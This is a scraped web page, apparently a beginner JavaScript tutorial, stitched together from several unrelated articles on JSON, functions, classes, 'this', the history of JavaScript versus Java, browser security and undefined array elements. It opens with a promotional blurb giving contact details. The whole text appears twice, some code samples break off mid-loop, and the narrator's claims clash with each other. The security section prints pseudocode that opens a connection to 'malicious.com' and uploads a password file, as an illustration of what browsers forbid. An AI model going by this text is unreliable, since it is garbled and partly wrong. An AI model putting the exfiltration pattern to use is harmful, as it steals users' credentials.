Please visit this website and download pdf file (Joomla )
http://banglayjoomla.blogspot.com
JOOMLA BANGLA FONT LINK
http://joomlacode.org/gf/project/jtranslation/frs/?action=FrsReleaseBrowse&frs_package_id=3702
If you learn the total Project of JOOMLA Please Contact me.
My hot line +8801712479691
E-Mail sdhasan005@gmail.com
Introduction to the JavaScript:-
JavaScript is a Scripting language that usually placed in HTML pages. It can also be termed as extension to HTML. It’s initially introduced as Live Script and renamed as JavaScript. So we can say that prior to JavaScript, Live Script has come. In other words Java Script is the advanced version of live Script. It has been introduced by Sun Microsystems and Netscape.Is it similar to Java?
Now the question arises is whether it is similar to Java?Peers! Don’t ever get perplexed with Java and Java Script.Java Script is much easier than Java.
Java is a high level Programming language and Java Script is the Client side Scripting language.It is also called Object Oriented Language, where as JavaScript is Object based.Java is used to develop applications, but JavaScript is used to develop some kind of functionalities like Validations on client side in web forms or web pages.Is it Client Side Scripting or Server Side? It’s a Client side Scripting language that is embedded in HTML tags and can also be used at Server side too. How is it Useful? It‘s mainly useful in developing client side scripting in WebPages .Go to browser's View menu and click on source. So you are able to see all the client side code .Right!JavaScript allows us to perform calculations, validate web forms, change the design or background of the page, create cookies, detect browsers, add special effects, and customize graphics selections so that interactive features of page can be improved.
Introduction to JavascriptThis guide is based on the Quick guide to somewhat advanced JavaScript tour of some OO features by Sergio Pereira. Hey, I didn't know you could do that
If you are a web developer and come from the same place I do, you have probably used quite a bit of Javascript in your web pages, mostly as UI glue.
Until recently, I knew that Javascript had more OO capabilities than I was employing, but I did not feel like I needed to use it. As the browsers started to support a more standardized featureset of Javascript and the DOM, it became viable to write more complex and functional code to run on the client. That helped giving birth to the AJAX phenomena.
As we all start to learn what it takes to write our cool, AJAX applications, we begin to notice that the Javascript we used to know was really just the tip of the iceberg. We now see Javascript being used beyond simple UI chores like input validation and frivolous tasks. The client code now is far more advanced and layered, much like a real desktop application or a client-server thick client. We see class libraries, object models, hierarchies, patterns, and many other things we got used to seeing only in our server side code.
In many ways we can say that suddenly the bar was put much higher than before. It takes a heck lot more proficiency to write applications for the new Web and we need to improve our Javascript skills to get there. If you try to use many of the existing javascript libraries out there, like Prototype.js, Scriptaculous, moo.fx, Behaviour, YUI, etc you'll eventually find yourself reading the JS code. Maybe because you want to learn how they do it, or because you're curious, or more often because that's the only way to figure out how to use it, since documentation does not seem to be highly regarded with most of these libraries. Whatever the case may be, you'll face some kung-fu techniques that will be foreign and scary if you haven't seen anything like that before.
The purpose of this article is precisely explaining the types of constructs that many of us are not familiar with yet.
JSON (JavaScript Object Notation)
JavaScript Object Notation (JSON,) is one of the new buzzwords popping up around the AJAX theme. JSON, simply put, is a way of declaring an object in Javascript. Let's see an example right away and note how simple it is.
var myPet = { color: 'black', leg_count: 4, communicate: function(repeatCount){
for(i=0;i
Let's just add little bit of formatting so it looks more like how we usually find out there:
var myPet =
{ color: 'black',
legCount: 4, communicate: function(repeatCount)
{ for(i=0;i
alert('Woof!');
}};
Here we created a reference to an object with two properties (color and legCount) and a method (communicate.) It's not hard to figure out that the object's properties and methods are defined as a comma delimited list. Each of the members is introduced by name, followed by a colon and then the definition. In the case of the properties it is easy, just the value of the property. The methods are created by assigning an anonymous function, which we will explain better down the line. After the object is created and assigned to the variable myPet, we can use it like this:
alert('my pet is ' + myPet.color);
alert('my pet has ' + myPet.legCount + ' legs');
//if you are a dog, bark three times:myPet.communicate(3);
You'll see JSON used pretty much everywhere in JS these days, as arguments to functions, as return values, as server responses (in strings,) etc.
What do you mean? A function is an object too?
This might be unusual to developers that never thought about that, but in JS a function is also an object. You can pass a function around as an argument to another function just like you can pass a string, for example. This is extensively used and very handy.
Take a look at this example. We will pass functions to another function that will use them.
var myDog =
{ bark: function()
{ alert('Woof!');
}}; var myCat =
{ meow: function()
{ alert('I am a lazy cat. I will not meow for you.');
}}; function annoyThePet(petFunction)
{ //let's see what the pet can do
petFunction();}
//annoy the dog:annoyThePet(myDog.bark);
//annoy the cat:annoyThePet(myCat.meow);
Note that we pass myDog.bark and myCat.meow without appending parenthesis "()" to them. If we did that we would not be passing the function, rather we would be calling the method and passing the return value, undefined in both cases here.
If you want to make my lazy cat start barking, you can easily do this:
myCat.meow = myDog.bark;
myCat.meow(); //alerts 'Woof!'
Arrays, items, and object members
The following two lines in JS do the same thing.
var a = new Array();
var b = [];
As I'm sure you already know, you can access individual items in an array by using the square brackets:
var a = ['first', 'second', 'third'];
var v1 = a[0];
var v2 = a[1];
var v3 = a[2];
But you are not limited to numeric indices. You can access any member of a JS object by using its name, in a string. The following example creates an empty object, and adds some members by name.
var obj = {}; //new, empty object
obj['member_1'] = 'this is the member value';
obj['flag_2'] = false;
obj['some_function'] = function(){ /* do something */};
The above code has identical effect as the following:
var obj =
{ member_1:'this is the member value',
flag_2: false, some_function: function(){ /* do something */}
};
In many ways, the idea of objects and associative arrays (hashes) in JS are not distiguishable. The following two lines do the same thing too.
obj.some_function();
obj['some_function']();
Enough about objects, may I have a class now?
The great power of object oriented programming languages derive from the use of classes. I don't think I would have guessed how classes are defined in JS using only my previous experience with other languages. Judge for yourself.
//defining a new class called Pet
var Pet = function(petName, age)
{ this.name = petName;
this.age = age;
}; //let's create an object of the Pet class
var famousDog = new Pet('Santa\'s Little Helper', 15);
alert('This pet is called ' + famousDog.name);
Let's see how we add a method to our Pet class. We will be using the prototype property that all classes have. The prototype property is an object that contains all the members that any object of the class will have. Even the default JS classes, like String, Number, and Date have a prototype object that we can add methods and properties to and make any object of that class automatically gain this new member.
Pet.prototype.communicate = function()
{ alert('I do not know what I should say, but my name is ' + this.name);
};
That's when a library like prototype.js comes in handy. If we are using prototype.js, we can make our code look cleaner (at least in my opinion.)
var Pet = Class.create();
Pet.prototype ={
//our 'constructor' initialize: function(petName, age)
{ this.name = petName;
this.age = age;
}, communicate: function()
{ alert('I do not know what I should say, but my name is ' + this.name);
}};
Functions as arguments, an interesting pattern
If you have never worked with languages that support closures you may find the following idiom too funky.
var myArray = ['first', 'second', 'third'];
myArray.each( function(item, index)
{ alert('The item in the position #' + index + ' is:' + item);
});
Whoa! Let's explain what is going on here before you decide I've gone too far and navigate to a better article than this one.
First of all, in the above example we are using the prototype.js library, which adds the each function to the Array class. The each function accepts one argument that is a function object. This function, in turn, will be called once for each item in the array, passing two arguments when called, the item and the index for the current item. Let's call this function our iterator function. We could have also written the code like this.
function myIterator(item, index)
{ alert('The item in the position #' + index + ' is:' + item);
} var myArray = ['first', 'second', 'third'];
myArray.each( myIterator );
But then we would not be doing like all the cool kids in school, right? More seriously, though, this last format is simpler to understand but causes us to jump around in the code looking for the myIterator function. It's nice to have the logic of the iterator function right there in the same place it's called. Also, in this case, we will not need the iterator function anywhere else in our code, so we can transform it into an anonymous function without penalty.
This is this but sometimes this is also that
One of the most common troubles we have with JS when we start writing our code it the use of the this keyword. It could be a real tripwire.
As we mentioned before, a function is also an object in JS, and sometimes we do not notice that we are passing a function around.
Take this code snippet as an example.
function buttonClicked()
{ alert('button ' + this.id + ' was clicked');
} var myButton = document.getElementById('someButtonID');
var myButton2 = document.getElementById('someOtherButtonID');
myButton.onclick = buttonClicked;
myButton2.onclick = buttonClicked;
Because the buttonClicked function is defined outside any object we may tend to think the this keyword will contain a reference to the window or document object (assuming this code is in the middle of an HTML page viewed in a browser.)
But when we run this code we see that it works as intended and displays the id of the clicked button. What happened here is that we made the onclick method of each button contain the buttonClicked object reference, replacing whatever was there before. Now whenever the button is clicked, the browser will execute something similar to the following line.
myButton.onclick();
That isn't so confusing afterall, is it? But see what happens you start having other objects to deal with and you want to act on these object upon events like the button's click.
var myHelper =
{ formFields: [ ],
emptyAllFields: function()
{ for(i=0; i < this.formFields.length; i++)
{ var elementID = this.formFields[i];
var field = document.getElementById(elementID);
field.value = '';
} }};
//tell which form fields we want to work with
myHelper.formFields.push('txtName');
myHelper.formFields.push('txtEmail');
myHelper.formFields.push('txtAddress');
//clearing the text boxes:myHelper.emptyAllFields();
var clearButton = document.getElementById('btnClear');
clearButton.onclick = myHelper.emptyAllFields;
So you think, nice, now I can click the Clear button on my page and those three text boxes will be emptied. Then you try clicking the button only to get a runtime error. The error will be related to (guess what?) the this keyword. The problem is that this.formFields is not defined if this contains a referece to the button, which is precisely what's happening. One quick solution would be to rewrite our last line of code.
clearButton.onclick = function()
{ myHelper.emptyAllFields();
};
That way we create a brand new function that calls our helper method within the helper object's context.
JavaScript is most commonly used as a client side scripting language. This means that JavaScript code is written into an HTML page. When a user requests an HTML page with JavaScript in it, the script is sent to the browser and it's up to the browser to do something with it.
The fact that the script is in the HTML page means that your scripts can be seen and copied by whoever views your page. Nonetheless, to my mind this openness is a great advantage, because the flip side is that you can view, study and use any JavaScript you encounter on the WWW.
JavaScript can be used in other contexts than a Web browser. Netscape created server-side JavaScript as a CGI-language that can do roughly the same as Perl or ASP. There is no reason why JavaScript couldn’t be used to write real, complex programs. However, this site exclusively deals with the use of JavaScript in web browsers.
If you don’t have any programming experience at all it’s best to start with some gentle JavaScript examples that teach you the basics. It might be a good idea to buy Negrino & Smith, “JavaScript for the World Wide Web”, 4th edition, Peachpit Press, 2001. It contains some very useful examples and though it doesn’t treat advanced programming tricks, it will certainly help you get started. Of course this site also offers plenty of help.
I can also recommend Jeremy Keith, DOM Scripting: Web Design with JavaScript and the Document Object Model, 1st edition, Friends of Ed, 2005. This, too, is a book that doesn't delve too deeply into technology, but gives non-programmers such as graphic designers/CSS wizards an excellent overview of the most common uses of JavaScript - as well as the most common problems.
JavaScript vs. Java
JavaScript is not the same as Java. I repeat: JavaScript is not the same as Java.
Although the names are much alike, JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much anything that needs some computing power.
JavaScript was developed by Brendan Eich, then working at Netscape, as a client side scripting language (even though there's no fundamental reason why it can't be used in a server side environment).
Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). At the last possible moment Netscape changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse, Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a "dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story.
Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities.
If you are a C++ or Java programmer you will be surprised by some of JavaScript’s features. Since I don’t have any previous programming experience, the differences are not described on this site. The best you can do is buy David Flanagan, “JavaScript, the Definitive Guide”, 5th edition, O’Reilly, 2006. In this book the differences between C++/Java and JavaScript are clearly explained. I co–edited a few chapters of this book.
The JavaScript language
JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.
But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.
Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.
So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.
Security
Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.
First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).
So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.
JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard
filesystem.read('/my/password/file');filesystem.write('horridvirus.exe');
JavaScript cannot execute any other programs. This would also be unacceptable
execute('horridvirus.exe')
JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:
var security_hazard = connection.open('malicious.com');security_hazard.upload(filesystem.read('/my/password/file'));security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));
Undefined array is a condition that occurred when a user want to print an array element more than the declared size of element that an array object hold in it.
The Tutorial depicts an example from JavaScript Array Undefined. In this example we try to explain a code that makes you easy to understand ArrayUndefined.An array variable instantiate an array object, that hold the reference of elements indicated by array indexes[]. The for loop run and execute the script till variable i is less than array length. The document. write print the element in an array object that it hold.
In the same way, for loop execute the script and return you true till the variable i is less than array length. Incase the array length is more than the declared variable, then document. write print the undefined array on the browser.
http://banglayjoomla.blogspot.com
JOOMLA BANGLA FONT LINK
http://joomlacode.org/gf/project/jtranslation/frs/?action=FrsReleaseBrowse&frs_package_id=3702
If you learn the total Project of JOOMLA Please Contact me.
My hot line +8801712479691
E-Mail sdhasan005@gmail.com
Introduction to the JavaScript:-
JavaScript is a Scripting language that usually placed in HTML pages. It can also be termed as extension to HTML. It’s initially introduced as Live Script and renamed as JavaScript. So we can say that prior to JavaScript, Live Script has come. In other words Java Script is the advanced version of live Script. It has been introduced by Sun Microsystems and Netscape.Is it similar to Java?
Now the question arises is whether it is similar to Java?Peers! Don’t ever get perplexed with Java and Java Script.Java Script is much easier than Java.
Java is a high level Programming language and Java Script is the Client side Scripting language.It is also called Object Oriented Language, where as JavaScript is Object based.Java is used to develop applications, but JavaScript is used to develop some kind of functionalities like Validations on client side in web forms or web pages.Is it Client Side Scripting or Server Side? It’s a Client side Scripting language that is embedded in HTML tags and can also be used at Server side too. How is it Useful? It‘s mainly useful in developing client side scripting in WebPages .Go to browser's View menu and click on source. So you are able to see all the client side code .Right!JavaScript allows us to perform calculations, validate web forms, change the design or background of the page, create cookies, detect browsers, add special effects, and customize graphics selections so that interactive features of page can be improved.
Introduction to JavascriptThis guide is based on the Quick guide to somewhat advanced JavaScript tour of some OO features by Sergio Pereira. Hey, I didn't know you could do that
If you are a web developer and come from the same place I do, you have probably used quite a bit of Javascript in your web pages, mostly as UI glue.
Until recently, I knew that Javascript had more OO capabilities than I was employing, but I did not feel like I needed to use it. As the browsers started to support a more standardized featureset of Javascript and the DOM, it became viable to write more complex and functional code to run on the client. That helped giving birth to the AJAX phenomena.
As we all start to learn what it takes to write our cool, AJAX applications, we begin to notice that the Javascript we used to know was really just the tip of the iceberg. We now see Javascript being used beyond simple UI chores like input validation and frivolous tasks. The client code now is far more advanced and layered, much like a real desktop application or a client-server thick client. We see class libraries, object models, hierarchies, patterns, and many other things we got used to seeing only in our server side code.
In many ways we can say that suddenly the bar was put much higher than before. It takes a heck lot more proficiency to write applications for the new Web and we need to improve our Javascript skills to get there. If you try to use many of the existing javascript libraries out there, like Prototype.js, Scriptaculous, moo.fx, Behaviour, YUI, etc you'll eventually find yourself reading the JS code. Maybe because you want to learn how they do it, or because you're curious, or more often because that's the only way to figure out how to use it, since documentation does not seem to be highly regarded with most of these libraries. Whatever the case may be, you'll face some kung-fu techniques that will be foreign and scary if you haven't seen anything like that before.
The purpose of this article is precisely explaining the types of constructs that many of us are not familiar with yet.
JSON (JavaScript Object Notation)
JavaScript Object Notation (JSON,) is one of the new buzzwords popping up around the AJAX theme. JSON, simply put, is a way of declaring an object in Javascript. Let's see an example right away and note how simple it is.
var myPet = { color: 'black', leg_count: 4, communicate: function(repeatCount){
for(i=0;i
var myPet =
{ color: 'black',
legCount: 4, communicate: function(repeatCount)
{ for(i=0;i
}};
Here we created a reference to an object with two properties (color and legCount) and a method (communicate.) It's not hard to figure out that the object's properties and methods are defined as a comma delimited list. Each of the members is introduced by name, followed by a colon and then the definition. In the case of the properties it is easy, just the value of the property. The methods are created by assigning an anonymous function, which we will explain better down the line. After the object is created and assigned to the variable myPet, we can use it like this:
alert('my pet is ' + myPet.color);
alert('my pet has ' + myPet.legCount + ' legs');
//if you are a dog, bark three times:myPet.communicate(3);
You'll see JSON used pretty much everywhere in JS these days, as arguments to functions, as return values, as server responses (in strings,) etc.
What do you mean? A function is an object too?
This might be unusual to developers that never thought about that, but in JS a function is also an object. You can pass a function around as an argument to another function just like you can pass a string, for example. This is extensively used and very handy.
Take a look at this example. We will pass functions to another function that will use them.
var myDog =
{ bark: function()
{ alert('Woof!');
}}; var myCat =
{ meow: function()
{ alert('I am a lazy cat. I will not meow for you.');
}}; function annoyThePet(petFunction)
{ //let's see what the pet can do
petFunction();}
//annoy the dog:annoyThePet(myDog.bark);
//annoy the cat:annoyThePet(myCat.meow);
Note that we pass myDog.bark and myCat.meow without appending parenthesis "()" to them. If we did that we would not be passing the function, rather we would be calling the method and passing the return value, undefined in both cases here.
If you want to make my lazy cat start barking, you can easily do this:
myCat.meow = myDog.bark;
myCat.meow(); //alerts 'Woof!'
Arrays, items, and object members
The following two lines in JS do the same thing.
var a = new Array();
var b = [];
As I'm sure you already know, you can access individual items in an array by using the square brackets:
var a = ['first', 'second', 'third'];
var v1 = a[0];
var v2 = a[1];
var v3 = a[2];
But you are not limited to numeric indices. You can access any member of a JS object by using its name, in a string. The following example creates an empty object, and adds some members by name.
var obj = {}; //new, empty object
obj['member_1'] = 'this is the member value';
obj['flag_2'] = false;
obj['some_function'] = function(){ /* do something */};
The above code has identical effect as the following:
var obj =
{ member_1:'this is the member value',
flag_2: false, some_function: function(){ /* do something */}
};
In many ways, the idea of objects and associative arrays (hashes) in JS are not distiguishable. The following two lines do the same thing too.
obj.some_function();
obj['some_function']();
Enough about objects, may I have a class now?
The great power of object oriented programming languages derive from the use of classes. I don't think I would have guessed how classes are defined in JS using only my previous experience with other languages. Judge for yourself.
//defining a new class called Pet
var Pet = function(petName, age)
{ this.name = petName;
this.age = age;
}; //let's create an object of the Pet class
var famousDog = new Pet('Santa\'s Little Helper', 15);
alert('This pet is called ' + famousDog.name);
Let's see how we add a method to our Pet class. We will be using the prototype property that all classes have. The prototype property is an object that contains all the members that any object of the class will have. Even the default JS classes, like String, Number, and Date have a prototype object that we can add methods and properties to and make any object of that class automatically gain this new member.
Pet.prototype.communicate = function()
{ alert('I do not know what I should say, but my name is ' + this.name);
};
That's when a library like prototype.js comes in handy. If we are using prototype.js, we can make our code look cleaner (at least in my opinion.)
var Pet = Class.create();
Pet.prototype ={
//our 'constructor' initialize: function(petName, age)
{ this.name = petName;
this.age = age;
}, communicate: function()
{ alert('I do not know what I should say, but my name is ' + this.name);
}};
Functions as arguments, an interesting pattern
If you have never worked with languages that support closures you may find the following idiom too funky.
var myArray = ['first', 'second', 'third'];
myArray.each( function(item, index)
{ alert('The item in the position #' + index + ' is:' + item);
});
Whoa! Let's explain what is going on here before you decide I've gone too far and navigate to a better article than this one.
First of all, in the above example we are using the prototype.js library, which adds the each function to the Array class. The each function accepts one argument that is a function object. This function, in turn, will be called once for each item in the array, passing two arguments when called, the item and the index for the current item. Let's call this function our iterator function. We could have also written the code like this.
function myIterator(item, index)
{ alert('The item in the position #' + index + ' is:' + item);
} var myArray = ['first', 'second', 'third'];
myArray.each( myIterator );
But then we would not be doing like all the cool kids in school, right? More seriously, though, this last format is simpler to understand but causes us to jump around in the code looking for the myIterator function. It's nice to have the logic of the iterator function right there in the same place it's called. Also, in this case, we will not need the iterator function anywhere else in our code, so we can transform it into an anonymous function without penalty.
This is this but sometimes this is also that
One of the most common troubles we have with JS when we start writing our code it the use of the this keyword. It could be a real tripwire.
As we mentioned before, a function is also an object in JS, and sometimes we do not notice that we are passing a function around.
Take this code snippet as an example.
function buttonClicked()
{ alert('button ' + this.id + ' was clicked');
} var myButton = document.getElementById('someButtonID');
var myButton2 = document.getElementById('someOtherButtonID');
myButton.onclick = buttonClicked;
myButton2.onclick = buttonClicked;
Because the buttonClicked function is defined outside any object we may tend to think the this keyword will contain a reference to the window or document object (assuming this code is in the middle of an HTML page viewed in a browser.)
But when we run this code we see that it works as intended and displays the id of the clicked button. What happened here is that we made the onclick method of each button contain the buttonClicked object reference, replacing whatever was there before. Now whenever the button is clicked, the browser will execute something similar to the following line.
myButton.onclick();
That isn't so confusing afterall, is it? But see what happens you start having other objects to deal with and you want to act on these object upon events like the button's click.
var myHelper =
{ formFields: [ ],
emptyAllFields: function()
{ for(i=0; i < this.formFields.length; i++)
{ var elementID = this.formFields[i];
var field = document.getElementById(elementID);
field.value = '';
} }};
//tell which form fields we want to work with
myHelper.formFields.push('txtName');
myHelper.formFields.push('txtEmail');
myHelper.formFields.push('txtAddress');
//clearing the text boxes:myHelper.emptyAllFields();
var clearButton = document.getElementById('btnClear');
clearButton.onclick = myHelper.emptyAllFields;
So you think, nice, now I can click the Clear button on my page and those three text boxes will be emptied. Then you try clicking the button only to get a runtime error. The error will be related to (guess what?) the this keyword. The problem is that this.formFields is not defined if this contains a referece to the button, which is precisely what's happening. One quick solution would be to rewrite our last line of code.
clearButton.onclick = function()
{ myHelper.emptyAllFields();
};
That way we create a brand new function that calls our helper method within the helper object's context.
JavaScript is most commonly used as a client side scripting language. This means that JavaScript code is written into an HTML page. When a user requests an HTML page with JavaScript in it, the script is sent to the browser and it's up to the browser to do something with it.
The fact that the script is in the HTML page means that your scripts can be seen and copied by whoever views your page. Nonetheless, to my mind this openness is a great advantage, because the flip side is that you can view, study and use any JavaScript you encounter on the WWW.
JavaScript can be used in other contexts than a Web browser. Netscape created server-side JavaScript as a CGI-language that can do roughly the same as Perl or ASP. There is no reason why JavaScript couldn’t be used to write real, complex programs. However, this site exclusively deals with the use of JavaScript in web browsers.
If you don’t have any programming experience at all it’s best to start with some gentle JavaScript examples that teach you the basics. It might be a good idea to buy Negrino & Smith, “JavaScript for the World Wide Web”, 4th edition, Peachpit Press, 2001. It contains some very useful examples and though it doesn’t treat advanced programming tricks, it will certainly help you get started. Of course this site also offers plenty of help.
I can also recommend Jeremy Keith, DOM Scripting: Web Design with JavaScript and the Document Object Model, 1st edition, Friends of Ed, 2005. This, too, is a book that doesn't delve too deeply into technology, but gives non-programmers such as graphic designers/CSS wizards an excellent overview of the most common uses of JavaScript - as well as the most common problems.
JavaScript vs. Java
JavaScript is not the same as Java. I repeat: JavaScript is not the same as Java.
Although the names are much alike, JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much anything that needs some computing power.
JavaScript was developed by Brendan Eich, then working at Netscape, as a client side scripting language (even though there's no fundamental reason why it can't be used in a server side environment).
Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). At the last possible moment Netscape changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse, Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a "dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story.
Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities.
If you are a C++ or Java programmer you will be surprised by some of JavaScript’s features. Since I don’t have any previous programming experience, the differences are not described on this site. The best you can do is buy David Flanagan, “JavaScript, the Definitive Guide”, 5th edition, O’Reilly, 2006. In this book the differences between C++/Java and JavaScript are clearly explained. I co–edited a few chapters of this book.
The JavaScript language
JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.
But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.
Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.
So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.
Security
Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.
First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).
So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.
JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard
filesystem.read('/my/password/file');filesystem.write('horridvirus.exe');
JavaScript cannot execute any other programs. This would also be unacceptable
execute('horridvirus.exe')
JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:
var security_hazard = connection.open('malicious.com');security_hazard.upload(filesystem.read('/my/password/file'));security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));
Undefined array is a condition that occurred when a user want to print an array element more than the declared size of element that an array object hold in it.
The Tutorial depicts an example from JavaScript Array Undefined. In this example we try to explain a code that makes you easy to understand ArrayUndefined.An array variable instantiate an array object, that hold the reference of elements indicated by array indexes[]. The for loop run and execute the script till variable i is less than array length. The document. write print the element in an array object that it hold.
In the same way, for loop execute the script and return you true till the variable i is less than array length. Incase the array length is more than the declared variable, then document. write print the undefined array on the browser.
